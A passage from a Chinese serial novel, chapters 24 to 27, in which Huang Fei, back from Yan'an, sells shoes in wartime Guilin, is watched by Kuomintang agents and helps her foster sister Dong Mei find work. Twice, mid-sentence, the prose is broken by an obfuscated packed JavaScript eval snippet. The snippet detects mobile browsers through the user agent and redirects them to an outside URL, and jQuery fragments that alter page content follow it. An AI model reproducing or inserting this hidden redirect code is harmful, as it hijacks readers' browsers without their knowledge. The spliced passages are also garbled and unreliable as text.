黄菲之所以不能够融入这种氛围,是因为头脑中“平等”的观念,以为人的生活不应该相差如此之大,一边漂在天堂,另一边则苦苦挣扎,这是无论用什么理由,都不能说得通的,哪怕有上千种辩护方式,然而只要一看到两边如此不同的生活,那种直入眼帘的苦难,就让人无法再说什么。 因此每当她清早起了床,梳头洗脸之后,坐在桌子前,把Max Factor的粉底擦在脸上,又薄薄涂一点口红,都感到一阵难受,脸上火烧火燎,嘴唇则如同给火钳子烫了一般,在延安,哪里有人会擦粉呢?更不要说涂口红,自己听人家谈起延安的掌故,只有两个人擦口红,一个是海伦·斯诺,就是《西行漫记》作者埃德加·斯诺的夫人,另一个就是吴光伟,曾经非常有名的一个人,只不过后来悄悄离开了延安。 脑海中翻涌着这许多的情绪,黄菲放下了手中的口红,轻轻地叹了一口气,转头拿起桌面上新买来的一本书,茅盾的《虹》。 25. 第二十五章 明星效应 第二十五章 明星效应 黄菲在桂林成为广告名人,消息很快传回了平乐,虽然她如今用的是“黄菲”这个名字,然而黄家毕竟在桂林是有熟人的,有人在公司看到了黄菲,晓得这就是黄老爷的三小姐,于是这件事便辗转到了黄皓的耳朵里。 黄皓听了,气得差一点又要跳起来:“什么?这孽障竟然在百货公司站柜台?抛头露面,实在丢我们黄家的脸!她怎么不干脆去唱戏,倒还彻底一些?” 大少爷黄瑞安乐呵呵地说:“父亲,现在烦恼还嫌太早了一点,好歹小妹那画像,如今还没给印在广告纸上,撒得满天飞呢。” 许桂珠咯咯地乐:“啊哟老爷啊,你恼怒什么哩?三小姐如今可出息了,听说每个月赚几十个东毫呢,这不是给太太寄了钱来?还捎回来一大包东西,蘑菇野鸡的,这一回太太的小厨房可有好东西吃了,回头太太拿米酒细细地炖了野鸡汤,又香又浓,大补哦,就给你老人家送来,喝了这个汤,能活一百年。” 黄皓只恨得差一点把茶杯摔了:“谁要喝她那个鸡汤?她倒是赶快找个肯要她的,快快收心嫁人是正经,我纵然出一点嫁妆,也说不得了。” 黄瑞安嘎嘎地笑:“咱家的三小姐,这就是文君当垆,流传下去,也是个千古佳话呢。” 比如自己的老爹,这就要分财产给黄三小姐了,仿佛当年的卓王孙,文君卖酒太丢人,只得分家产给她,只不过如今三小姐身边,是少了个司马相如,她是“小姑居处本无郎”呢。 有这母子二人这一番煽风点火,黄皓给撩拨得怒气冲天,发作了好一番,内宅一场鸡飞狗跳,众人苦苦地劝,总算稍稍止住了。 下午的时候,黄瑞安坐在母亲的房间里,一边喝茶一边笑:“今天老爷只差一点砸了太太的小厨房。” 许桂珠乐着道:“要说你们家的这个三小姐,倒真是出人意料,我本以为她在桂林,不知会怎样落魄,哪知竟然有这样一番天地。” 黄瑞安很是惋惜:“可惜了父亲一世精明强干,如今竟然有一点英雄末路了,我看他硬生生是拿三小姐没办法。” 许桂珠瞥了他一眼,口里虽然没有说什么,心中却道:“你还当你那个老子是怎么样的盖世英杰哩,如此钦佩的,俗语说‘虎毒不食子’,三小姐再怎么,终究是他的骨肉,不就是当了个共产党么?什么大不了的事情,她一个女孩子家家的,又不曾杀人放火,却居然想着要送官,断送了她的性命,着实让人寒心,这样的人,不是长久可以依靠的。” 卢兰玉此时则是在自己的房间抚摸着胸口,正在喘粗气,下午那魔王又来闹了一场,现在总算暂时消停了,不知什么时候又要发癫,如今只能是安宁一时算一时,就在丈夫来吵闹的当场,自己一瞬间真的有一种冲动,就是干脆抛了这个家,到桂林去与女儿在一起,纵然日子不像平乐这般优裕,比如仆人吧,定然不会有许多,大约只有凤姐会跟着自己,然而在那边起码清静,自己已经是这个年纪,身体又不是很好,就让自己过几天静心的日子吧。 然而她又想到了儿子瑞成,自己走了,他可该怎么办呢?若是都去呢,只怕幼蕊承担不起,倘若留下来呢,母亲出走,他实在尴尬,况且媳妇前不久刚刚有了身孕,她们成婚几年了,这时才有孕,实在很须珍惜,所以左思右想,竟然不能走。 平乐发生的事,黄菲是不晓得的,时节已经渐渐到了隆冬,为了准备过冬,黄菲颇忙碌了一番。 抗战坚持到这个时候,已经到了最为紧关节要的时刻,双方都已经几乎耗尽力量,中国这边是物价飞涨,日本虽然不晓得如何,不过她们那岛国狭小得很,出产有限,想来日子也不好过。 更严峻的是到了冬天,“大雪纷纷下,柴米油盐都涨价”,桂林虽然是在南中国,气候炎热,不过冬天极其偶尔的时候也会下雪,比如这一年的冬季,十二月里,就下了很大的雪,天气一下子变得严寒,好在黄菲之前已经寻得了许多的树枝,天气好的时候晒干了,如今堆积在那里,上面蒙了一层油布。 十二月二十六号,礼拜天,黄菲深夜走出公司大门,匆匆穿行在湿漉漉的路上,前两天落下的雪化了,所以石板路面一片湿滑,穿着皮鞋在上面走,一不留神就容易滑倒。 黄菲快步走回到自己的居处,取出钥匙开了门,闪身进入,然后飞快关门,就在门缝合拢的一瞬,她往外面一看,有一个黑黑的人影在暗处晃动。 黄菲皱起眉头,重重地将大门关上,然后从里面闩牢,将那鬼一般的影子隔在了外面。 “蓝衣社”啊,虽然不知是不是真的,但是大家都在传说,“蓝衣社”给说得无所不能,但凡有一些不可解的事情发生,便都说是蓝衣社干的,简直上天入地,神通广大,只差不能把日本人立刻赶回海岛去。 自从因为售卖皮鞋而在桂林小有声名,黄菲不多日子便发现,自己的门前附近总有人在徘徊,起初还是很回避的,遵循着钉梢的第一要则,隐蔽,到后来或许是看到已经给自己发现,索性大喇喇,堂而皇之了,有时候见自己盯着他看,那人竟然毫不窘迫地回望,还冲着自己乐。 起初黄菲很有些惊惶,以为是遇到了流氓,桂花街是一个富贵云集的地方,等闲没有人在这里闹事,平日里颇为平静的,所以黄菲才选了这个地方来住,以为安全一些,哪知竟然有这样大胆的钉梢,到某一日她恍然觉悟,这是国民党的特务。 黄菲到了个时候,想起了陈学昭博士,与丈夫何穆博士来到延安又出走,最后终究又回来延安,当初听人说起各种秘闻,便讲到了这件事,“在重庆给国民党特务钉梢啊,连普通百姓的日子都过不得,但凡是从延安出去的,都给盯得紧,国民党也真是,神经过敏。” 所以便只得回来,毕竟中共这边对于她们这样的高级知识分子,专家学者,还是极力争取,热情欢迎的。 这便是“上船容易下船难”,从此身上就有了烙印,如今自己也面临这样的问题,平乐黄老爷的三小姐出走延安又回来,并不是秘密,如今又是个小小的明星,怎么会不引起国民党的警惕? 黄菲坐在床上,伸出两只手来,在铜盆边烤着火,火盆里的枯树枝燃烧得哔哔啵啵,热度传到她的身上,从外面带回来的寒气逐渐地消退了。 黄菲在想着自己应该何去何从,在桂林,虽然目前衣食无忧,可是那种隔阂感实在强烈,表面上自己倒是与一众女店员是一样的,大家说说笑笑,谈些衣服首饰之类,可是自己内心里十分清楚,不过逢场作戏,交际而已,是作为一种生存的手段,并没有投入真正的感情。 于是黄菲就想到,在自己离开之前,段首长曾经和自己说过的,“如果在外面不如意,还可以再回延安,延安对于有志革命的人,永远是敞开怀抱的”。 在陕北的黄土高原上,自己即将干渴而死,也曾经有过片刻的后悔,想着早知如此,是不是应该在延安再忍耐一番?但却也只是短暂的迷狂,自己也知道是妄想了,在那种情况下,哪能谈得到回去延安呢?根本就不知道路在哪里,而且体力也已经耗尽了,不过是濒死之前的幻想罢了。 可是在这个时候,黄菲是认真地在思索这样一种可能性,段首长说还可以回去,他当时的态度是很诚恳的,也确实有人离开延安又回来,自己的学问虽然不能与陈学昭博士相比,不过延安对于投奔向她的人,向来是热情欢迎的,想来也不会拒绝自己,所以是不是可以考虑回到延安呢?最起码在那里,还有一些是自己认同的,不会像这边这样,双眼只见一片黑暗,毫无光亮。 大睁着眼睛想了一阵,黄菲终于还是摇了摇头,回不去了,道路实在太艰难,即使凭借那一个桃源,自己也没有勇气再走一遍,简直锥心刻骨,另外,即使是在桂林,也听说延安那边斗争正在激烈,许多人都给关起来,一想到当初对自己的“隔离审查”,黄菲就一阵心脏颤抖,真的太过恐怖,自己着实熬不下来,假如给说成是日本特务,或者是国民党的特务,枪毙了自己也不一定,在桂林虽然沉沦,感觉一个灵魂一天天在腐朽,毕竟能够苟延残喘,哪怕时不时地感到,已经成了行尸走肉,对人生的价值感到空虚。 这个时候,黄菲就想到了前不久,乳母和东妹来看自己的时候,对自己说过的话,当时乳母紧紧地握着自己的手,两眼含着眼泪,说道:“幺儿,你千万记得,‘三寸气在千般用,一旦无常万事休’,不管怎样,你能活着,就是大好事,有什么念头,将来或者就能成真。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344756|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定得想尽法子活着啊!” 黄菲摸了摸身下被单下面,那一条厚实的褥子,是草褥,乳母那天来桂林,背了一大捆禾草给自己:“只怕你在这里没有禾草铺床,咱们家里晒得干干的禾草,给你拿来,铺在下面,冬天里暖和,你再买一条棉胎来垫在上面,就更软了,睡着舒服。” 当时惭愧得自己,眼泪都要流下来:“妈妈,都是我不争气,当初夸下海口,说了那样的大话,如今灰溜溜地回来,给您丢了脸。” 三年前出走的时候,特意绕路去了乳母的家中,向乳母和姐姐东妹道别,那时候豪情万丈,只觉得整个世界都在自己的眼前展开,这一去定然做出一番惊天动地的大事业,让人再不能看轻了自己,说“一个女孩子,能有什么出息?”最起码,也是革命队伍中光荣的一员,哪知竟然这样铩羽而归,差一点便回不来了,所以当初匆匆从平乐的宅子里出来,都没有顺路去探望乳母,“羞见江东父老”。 乳母立刻抓紧了自己的手:“孩子,你在说什么哩?你能好好地回来,就是最好的,还这样年轻,今后有许多事可以做。” 那一回乳母将乳姐姐东妹托给了自己,要自己帮她在城里找份事情做:“她男人当兵去了,不知什么时候回来,去年又卖了地给公爹治病,可惜她公公还是死了,如今家里没什么人口,你如今有名了,帮东妹在桂林城找一份差事做,给人家当女佣什么的都好。” 于是自己便果然托了人,为东妹姐姐找了一份女佣的工作,给一个阔家太太当女仆,这一阵听说倒是还好,毕竟是跟着太太的,吃喝不愁,时常有肉。 就在前不久,自己去看东妹,两个人说悄悄话,东妹抿着嘴笑:“不愧是读过大书的人,可真‘文明进步’,家中吃饭,都是男女同坐一桌,吃一样的菜,哪像是咱们家里,都是一家人呢,吃饭不同桌,男人那边桌上的菜总是比咱们女人的好些,有时候哥哥能吃到鸡蛋,妈都吃不上炒蛋,就让人替妈感到委屈,虽然咱妈倒是不说什么。” 黄菲点了点头,是这样,在平乐乡下,男人乃是家中的脊柱,所以要吃好些,女人便相对没有那么重要,很不必消耗那么多的肉蛋,自己从小看着,也曾经问过的,乳母乐呵呵地说:“正农忙,男人家,下田费力气,所以有肉给他们多吃一些,我们女人用的力气少,就少吃点没关系,不过你是贵客,今天给你蒸鸡蛋来吃。” 黄菲可是不同于普通的乡下丫头,每个月十块大洋,那就是个金娃娃,摇钱树,所以不要说女孩子,就是男人的饭食都要排在她的后面,又是鱼又是肉,鸡蛋更是不缺,黄菲每每便拉着东妹一起吃,东妹害羞,时常便跑开了,又或者干脆给母亲叫走,让自己一个人吃饭,结果自己独自坐在那里,面对着一碗鱼羹,觉得有些没意思,鱼羹吃到嘴里也没了滋味,再见到东妹,总觉得有点尴尬。 如今东妹是在一个“新派人家”做事,那家的老爷是出洋留过学的,所以日常很注意“平等”,家里男人女人都是同桌吃饭,老爷不爱桂林的三花酒,也不爱农家土酿的甜酒,东妹笑嘻嘻地说:“就爱喝西洋的葡萄酒白兰地,太太也跟着一起喝呢,在咱们家里,哪见过这个?” 在乳母的村子里,农忙的时候,男人会喝一点酒,吸一点烟,女人则是很少见到喝酒的,东妹是个泼辣的姑娘,小时候偷偷喝家里的甜酒,给妈妈看到了,就是一顿骂,她却偏偏就是不能改,悄悄地同黄菲说:“我就是要喝,爹爹能喝,哥哥长大了也能喝,为什么我就不能喝?” 黄菲猜测,她以后可能还会学抽烟。 不过黄菲对这些都不感兴趣,虽然听了东妹的话,再想这些事,也觉得有些不能甘心,不过她是从此对抽烟喝酒都反感,以为不是正经事,好人就不该有这些嗜好。 毕竟已经是深夜,又忙碌了一整天,黄菲很是疲倦了,此时她的念头便转到了过年上,今年除夕,自己虽然身在桂林,也不能去看母亲了,只好留在城里,到那时倘若东妹不回乡下,自己可以去找东妹,两个人吃喝一番,也是亲人团聚,想着想着,她就歪在了床上,火盆里的木柴这时候也即将燃尽,只有一滩苍白的灰在那里,黄菲用了最后一点力气脱掉衣服,拉过棉被盖在身上,合起两眼,便睡觉了。 26. 第二十六章 东妹姐步步高升 第二十六章 东妹姐步步高升 民国三十三年的一月二十四日是除夕,东妹果然前一个礼拜就说,今年过年不回家里去,就在太太这边,太太说了,除夕这一天的晚上给她也“放假”,要她出去玩一玩,刚好可以和黄菲吃个饭。 黄菲于是除夕的当晚,七点多的时候,便去了义学巷白太太的家,与东妹相约在那里见面,东妹一见了黄菲,特别的高兴,拉着她就去了自己的屋里,要她先坐一刻,自己去前面与太太说一声。 东妹给她倒了热水,乐滋滋地说:“幺姐,你看看我这屋子,好不好?太太因为喜欢我,特意让我一个人住一间呢!” 黄菲手里端着水杯,转着头观看这屋子四面,东妹在这里将近两个月,自己还是第一次到她房间里来,之前都是在外边见面,见这屋子虽然小,倒是干干净净,东妹是个很会收拾屋子的人,之前就听她说,从几个女佣合住的房间搬出来,挪到了这里,欢天喜地,彻彻底底打扫了一番,墙壁用白纸糊了,把原本的污渍全遮掩住,那纸雪白雪白,所以虽然她这小屋子采光不很好,倒也显得明亮,不是那么暗沉沉的。 黄菲在屋子里坐不多久,东妹便兴冲冲地回来,满面春风:“幺姐,真是缘分,太太听说你来了,特意要见你呢,也占不了多少时间,只见一面,说几句话,我们就可以出去了。” 黄菲一听,整个头皮都发麻,她是最头痛见这些太太小姐,虽然东妹一直称呼自己为“幺姐”,有一点好像“小姐”的变体,然而那是自小便叫惯了的,黄菲从前便不以为是如何,从延安回来之后,更加不能把自己当作是小姐,然而对于那些饱食终日、养尊处优,每天只知道看戏打牌的有闲阶级的女子,看了实在感觉刺眼,只觉得仿佛都是养在金笼里面的鹦鹉,花花绿绿的毛色诚然是鲜亮了,然而全无用处。 若是按照黄菲本来的意愿,实在不愿去,然而东妹是在这里做事,自己不能搞砸她的饭碗,于是黄菲只得硬着头皮,随东妹一起过去了。 东妹住的地方离主人的起居之处并不远,几步路就到了太太的客厅,还没进门,走廊里黄菲就听到了一阵稀里哗啦的碰撞声,是搓麻将牌,黄菲一听,就不由得要皱起眉头,连忙竖起两根指头在眉间一拨,分开眉心,微微地笑着,与东妹一起走了进去。 一进去便是一股热浪扑面而来,暖气开得很足。 黄菲定下神来一看,宽敞的西式客厅一片烟雾缭绕,是雪茄烟的味道,黄菲所在的公司也售卖这种西洋的烟草,沙发上几个穿西装的男子在吸烟,牌桌上忙碌着几位太太,白嫩的手正在那里抓牌出牌。 一位太太正说着:“把那窗户打开一点,热得人头晕,这么闷,你们还抽烟,我新买的貂皮外套,这一下都要染上烟味。” 那边一位先生呵呵地乐:“你太太们香水脂粉的味道,我们也很是受熏陶呢。” 正对着客厅的门,坐了一位太太,三十四五岁年纪,保养得非常好,细皮嫩肉,面色红润,手里拿着一张牌正要打出去,见两个人进来,她眼睛一亮:“啊哟东妹,这就是黄小姐?” 东妹很是自傲,嘴角扯开大大的笑:“是啊太太,这就是我家幺姐!” 白太太立刻放下了牌,从牌桌上下来,走过来拉住黄菲的手,笑眯眯地上下打量,直把黄菲每个细节都看清了,这才乐呵呵地说:“黄小姐,久闻大名了,自食其力,是我们女界的榜样。” 然后便拉着她坐下,殷殷问候,又娓娓诉说:“我刚刚从学校里出来的时候,也是满心的壮志,要在社会上作一番事业,可是就在我职业正有起色的时候,遇到了我的先生,为了爱情,我们结婚了,之后不久,我就有了身孕,只得辞去职业,本来想着等生了小孩,再回去做事,然而好容易Anne懂事了一点,可以离得开我,又有了Julie和David,家里七事八事,我先生的事情也越来越忙,不但顾不到家中,有时候还需要我去应酬,只得把原本的志向搁置,全力襄助他,还要管家,到如今再说出社会,已是不知道要等到什么时候了。” 黄菲眼望着她,那只能是一个梦了,虽然知道梦多数是难以成真,然而时常做做梦,也是好的,让人还能存有希望。 说了几分钟之后,白太太又给黄菲介绍她家先生,邹先生,家族之中有人在广西做很高的官,他如今在进出口管理部门当一个主任,称得上功成名就,生活十分惬意。 黄菲与邹先生只简单说了几句话,白太太便又接了过来:“已经耽误了黄小姐不少时间,还要和东妹出去是吧?快去吧,我们这里的这些,想来你们也不很爱玩,东妹今天晚上若是太晚呢,便不必回来,明天再回来也是一样,一年到头,很该轻松玩乐一回。” 两个人告辞之后出来,走出一段路,东妹抿嘴乐道:“太太一看到你,这个欢喜哦,我看得出,是从心眼里喜欢,她本来只放我一个半时辰的假,现在整晚都可以在外面了。” 黄菲眼前晃动着白太太那圆润白腻的小臂,手腕处一条线,仿佛藕节,还有她家先生嘴里叼着的粗粗的雪茄,口中说道:“在延安,公家人没人叉麻雀。” 到了这里,全见到了,与讨厌烟酒一样,黄菲也痛恨麻雀牌,堕落腐朽。 东妹笑眯眯地应道:“不叉麻雀,想来是个好地方,那么那里的人从衙门里回来,都做些什么呢?” 问完也不等黄菲回答,自顾说下去:“太太前几天说,也要信基督教了,这一阵天天和老爷讲《圣经》呢,听说太太要入教,老爷很是喜欢,我想啊,以后这家里就不是只老爷一个人张口上帝,闭口耶和华了。唉小姐,你有没有翻过那本《圣经》?我有时候听太太老爷说起那里面的故事,还挺好玩的。” 黄菲一笑,答道:“前些日子有个传教士送了我一本的,很厚,有空就拿出来看看。” 只当是练习英语,内容挺丰富,生词相当多,时常便要查字典,还真的很能提高英文水平,黄菲倒是以为这本书蛮好,最要紧的是不要钱,那么厚的一大本呢,倘若花钱来买,一定要一块半块大洋的,如今为了传教,免费赠送。 这个时候,两个人都已经吃过了晚饭,当夜在黄菲那里煮宵夜来吃,东妹从白太太的厨房拿了一点火腿,据说是顶好的云腿,年夜饭用去一块,余下一点边料在那里,东妹和厨子要了来,当做与黄菲的加餐。 此时黄菲点起炉子,把火腿切片煮了两碗汤面,两人就一边吃一边闲聊,都是说的太太家里的事,还有黄菲在百货公司的经历,也谈起家中,东妹想的是妈妈今年不知道怎么过年,黄菲则是想起谢冰莹的话,“母亲哟,当你见到三哥微笑着站在你面前时,你一定要想到你未归的儿子落泪,或者痛哭。……我,爱你的儿子,没一刻不见你站在我的面前”。 两个人说着说着,眼泪就不知不觉都流了出来。 这一夜,东妹是睡在黄菲这里,过了午夜十二点,两个人已经躺在了床上,头并着头,还不住地唧唧哝哝,外面的烟花爆竹一声接着一声,让她们两人的说话显得零零碎碎,模模糊糊,就在这震耳的鞭炮声音之中,黄菲不知什么时候便睡了过去。 第二天一早,东妹便早早地起来,烧水洗脸,听到她的起床声,黄菲便也掀开被子,穿衣下地,洗菜准备烧饭,白太太虽然并没有明说让东妹今天什么时候回去,不过想也知道,自然是越早越好,除了主人离不开佣人,白太太也是真的喜欢东妹,不过几十天,就一刻也离不得她,口里总是要叫:“东妹啊,东妹!” 这倒也是不意外啊,东妹虽然性格倔强,争强好胜,然而她秉性活泼开朗,聪明伶俐,反应敏捷,能言善道,非常有活力,人一看到她,就好像精神上吃了人参,很能够让人感到振作,所以东妹来到白太太身边三周多的时间,便已经越过了原来的两位前辈,成为太太眼前一等一的红人,白太太特别喜欢看到她,已经提拔她成为自己贴身的女佣。 春节很快过去,按照中国人的算法,这才是真正的完结了去年,新的一年开始了,黄菲在百货公司,每天依然是站在柜台内推荐皮鞋:“先生您看,这是英国的皮鞋,尖头曼,鞋型细长,尖尖的头,鞋腰也浅,配上您这样的瘦腿裤,显得非常利落精干,很是洒脱的。” “好的,帮我拿这一双。” “谢谢先生。” 黄菲很是开心地笑着,帮对方将鞋装进盒子里,麻利地用丝带扎好,在盒盖顶扎出一个花。 她刚刚将这位先生送走,旁边便挤过来一个身材矮小的男子,黄菲只看了他一眼,就有了一个鲜明的印象,简直就是小说中典型的卑鄙小人,獐头鼠目,油头粉面,其实相貌倒也是端正的,只不过是身量瘦小了些,让人腻歪的是他的那种气质,仿佛在油缸里浸了三年的,相当的油滑,就是那种只追逐利益,毫无原则的人,虽然也晓得自己的这个评判显得武断,然而黄菲对这人就是这样的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344757|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然觉得有些厌烦,毕竟是顾客,不好不理的,于是黄菲便微笑着说:“先生想看哪种样式的皮鞋?” 那个人要她拿过几只鞋来摆在柜台上,低着头左看右看了几眼,抬起头来笑着问:“黄小姐,听说你是从延安过来的?” 一听他这样的话,黄菲的神经登时就绷紧了,双眼非常机警地在对方脸上重重望了一眼,尖锐得针一般,想看出他究竟有什么目的,口中却依然从容回答:“是的。” 那男子笑道:“黄小姐为什么会离开延安,回来这边呢?” 到了这个时候,附近几个顾客也已经留意到了这边,几道目光齐齐地射向这里。 黄菲脑子飞快地转:“因为发现自己不能革命。” 对方的笑容更大:“我听说,是中共在□□,斗争了许多人,甚至有人给枪毙了,比如说王实味,是这样吗?” 黄菲的脸绷得紧紧的:“我不知道。” 反正自己是活生生地出来了,而王实味,黄菲是确实不知道。 见黄菲的神情十分严肃,对方也知道这个话题不适合再问下去,便改变了一种方法:“王实味先生的文章,说在延安,高级干部小厨房,伤病的人喝不到一碗面汤,是真的吗?哎呀我还听人家说过,延安的中共领袖,是有牛奶喝的,普通人只能喝小米粥,你在延安,有没有喝到过牛奶呢?” 黄菲只觉得一股气从自己胸中直冲头盖骨,再也抑制不住,一串话脱口而出:“在桂林,有几个人能喝到牛奶呢?延安的生活很艰苦,然而这又应该怪谁呢?边区给封锁啊,什么东西都运不进,边区的出产也运不出,连人都不能出入了,倘若不是这种做法,怎么会这样呢?” 自从皖南事变之后,延安的日子是愈发难过了,国民党加强了对边区的封锁,使得延安物价飞涨,原本五毛钱一盒的火柴,到自己离开的时候,已经涨到了五十块,简直是百倍的增长,为了应对这样的形势,边币也越来越大了,原来一块钱便很管用,到后来满眼都是一百块、五百块,仿佛可以缓解一时的困局,然而终究是不顶用,票子上的数字大了,可是要价也高了,印了一百块的钱,商人就可以把东西涨价到五百,所以日子依然是难,物资相当珍贵。 要说如今中国在抗战,各处都是处境困难,即使是后方,给日寇轰炸攻击,生产也难以进行,所以物价高企,民众的生活很是窘迫,这本来不该全怪国民政府,倒是责怪日寇的居多,只是延安的困境却又不太一样,倘若不是□□的围困,本来不至于如此,只要物资能够交换,总能缓解一些,然而国民党截断了边区与外界的通路,让边区成为一个死水潭,经济分外困难,这就让人很是怨恨国民政府。 在这样的情势之下,即使是黄菲,没有那样高的身份地位,很不必为整个边区的经济负责,不过偶尔空闲的时候想一想,也觉得这极其有限的资源,是应该集中到一起,严格地统筹分配,才能让边区存活下去,自己实在想不出更好的法子,至于说大灶小灶,黄菲并不愿去多想,只是上顿下顿的小米粥让人心烦,倘若国民党不是封锁了边区,大家本来不必如此。 所以此时这个人讽刺小米粥,黄菲实在克制不住,便针锋相对,说出了压抑已久的话。 那个人见黄菲如此愤激,却并没有生气,只是笑了一笑,又随便说了几句,见黄菲已经恢复了自制,闭紧嘴巴一句话也不肯再说,便摸了摸鼻子,客气地道谢,转身走了。 这个挑起敏感话题的人离开之后,原本波澜暗涌的周边,终于渐渐恢复了平静,黄菲脸上又挂出微笑,接待顾客,然而不多时,胡丽莎走过来说:“黄菲,经理找你。” 黄菲点头:“这里麻烦你帮忙照看一下。” 转身便去见经理。 经理室中,刘经理正在看报表,见她进来了,便抬起头来,皱眉说道:“黄菲,你是怎么搞的?怎么能够和顾客起争执?不管怎样,他来到了我们公司,就是我们的客人,衣食父母,你的薪水,都是从他们的口袋里出来的,你怎么能够和客人争论?如果给传扬开来,别人会怎么样看待我们公司?” 你的政治观点我可以不问,但是和客户争吵,影响销售,是绝对不行的。 黄菲微微垂下头来,低声说:“我知道了,经理,下次不会了。” 刘经理“哼”了一声:“你最好不要有下次。” 否则无论你怎么当红,这里也难容得下你。 27. 第二十七章 小报波澜 第二十七章 小报波澜 难得的一个休息日,黄菲前一天晚上从公司回来,便关门在家中,一整天都没有出去。 她是在自己的仙境之中。 这个时候已经是二月下旬,山上梅花盛开,当初进入这里,已经过了花开的时节,黄菲是直到这个时候,才看到了满山满岭的梅花,是一片野梅岭,放眼望去全是梅树,无边无际,初春开花的时候,黄菲站在岭前,静静地伫立观看,脑中浮现出《梅花岭记》,“梅花如雪,芳香不染”,是当年读过的文章,那时候只觉得这两句格外优美,却没有此时这样深的感受。 因为已经看过了几次,虽然都是清晨匆匆的,到这时也已经不再是起始时候的震撼,只是依然觉得美,但凡有机会,总要来欣赏。 黄菲坐在一块平平的青石墩上,心情平静地望向前方不远处,翠绿的草地上,两只大羊正在吃草,身后跟了两只小羊,踩着细嫩的草叶,在双亲身边闲闲地走着,忽然之间,一只小羊小步跑了前面去,凑近母山羊要吃奶。 都是今年春天新出生的小羊,当初在桂林安顿下来,找到了房屋和职业,黄菲立刻就做了另一件事,出城去买山羊,因为潼关的那一碗烩面,黄菲从此对羊肉有特别的感情,简直刻骨铭心,因此便要在梅岭之中放养山羊,希望将来能够成很大的一群。 那时她买了两只山羊,一只母山羊,一只公山羊,希望今年能够有小山羊出生,天随人愿,果然就有,现在已经是四只羊。 黄菲心中计划着,过一阵再去买两只羊,也是一只母羊,一只公羊,这样就不会血统太过接近,到了明年的这个时候,梅林之中或许就有八只羊,照这样繁衍下去,再过一年,就是十六只,再过一年,就是三十二只,再过一年……再过一年…… 黄菲的眼前出现了上百只的一群,漫山遍野,徜徉在梅花树下,如同一朵朵雪白的云,天上的云飘在了地面,倘若是那样,自己的内心该是多么笃定,生命的感受何等丰满。 这样想了一阵,黄菲也觉得有点好笑,自己的精神啊,如今就寄托在一群羊的身上,而且还不是单纯的美感,自己想的是羊肉,各种法子的烧羊肉,从前的自己,是以为即使胃里面填满了,然而灵魂饥饿,人也依然是饥饿的,是真正的饥饿,然而现在的想法则是不知不觉有些变了,这一阵自己已经很少想到精神方面,思想啦,心灵啦之类,思绪萦绕最多的,就是食物,总觉得只要胃是饱满的,人的头脑就也会充实起来,莫非自己果真沦落如斯? 然而现在却没有功夫太多思量这个问题,黄菲抬起手腕,看了一下手表,已经接近中午,是要准备午饭的时间了,她于是便站起了身,开始料理午餐。 二十几分钟之后,地面上升起一堆火,火上架着一个小小的饭盒,饭盒里煮着大半盒水,水面上漂着圆圆的黄色梅干,还有蘑菇,这是一份梅子蘑菇汤。 对于梅子蘑菇汤,黄菲的感觉也是不一样的,当初她开启了梅岭的世界,第一餐就是这一道汤,当她喝饱了水,缓解了干渴,生命不再感到随时会枯竭,她便看到了落满山坡的梅子,又找寻到了蘑菇,在泉水之中洗净,即刻煮了一道汤,身边还余下一点盐,便加在了汤中,煮熟之后略晾了一会儿,便喝下去,当时的感觉,简直是人间绝顶的美味! 所以即使到了现在,经济状况已经缓解,黄菲对于梅子蘑菇汤也有着格外的偏爱,每个礼拜总要喝上一两次,西菜馆里面有奶油蘑菇汤,黄菲也尝过的,感觉很是一般,还是加了梅子的蘑菇汤更加鲜美,即使不加咸肉也是一样,而这个时候,梅树上还没有结成果实,今年新鲜的青梅要在几个月后才能尝到,所以汤里面加的就是去年盐渍的梅干。 这一个休息日,黄菲忙碌了大半天,捡拾干柴,采摘蘑菇野菜,一直到了傍晚,才回到外面的房间,打开电灯,在灯下看了一阵小说,眼看到了九点多,便早早地上床睡觉了,第二天还要去公司,实在不能像学生时代一样熬夜。 次日,黄菲如同以往一样在公司里面站柜台,售卖皮鞋,情形本来还是照常,然而到了将近十一点,忽然便有些不太一样,顾客之中有人背对着她挤眉弄眼,悄悄地做鬼脸。 黄菲是个很敏感的人,对周边氛围的变化相当敏锐,虽然这些痕迹都很淡薄,但仍然给她察觉到了,直觉不大对劲,她定下神来,仔细观察了一下,确实不太寻常,不是自己多心,这并非平时该有的状态,有两个人正在那边望着自己笑嘻嘻,咬着耳朵,也不知在说些什么。 判定了这一点,黄菲登时便觉得脑子里嗡嗡直响,心跳加快脸发烧,过往的经历潮水般涌来,又发生了什么自己不知道的大事?那些人都是在怎样地议论自己?这一份销售员的职业,莫非也不能做长久吗? 到了午饭时候,谜题终于揭开,胡丽莎端着碗,凑到黄菲身边,咯咯乐着低声说:“黄菲,你真是聪明,把过去的事情卖了钱,那家小报给了你多少稿酬?” 黄菲一头雾水:“丽莎,你在说什么?” 胡丽莎嘴里咬着筷子,笑得愈发畅快:“就是XX晚报啊,你还要当做不知道,莫非要我把报纸拿来给你看么?那上面明明是你的文章,讲延安的,好长一篇呢,还说是连载,一期不够,后面还要再写,你老实讲,到底卖了多少钱?我本来还以为,你去了那边这几年,很是吃亏,什么也没有得着,就回来了,现在看来,你可真的是生财有道,可见无论是怎样的事,只要用得好,就能换钱。” 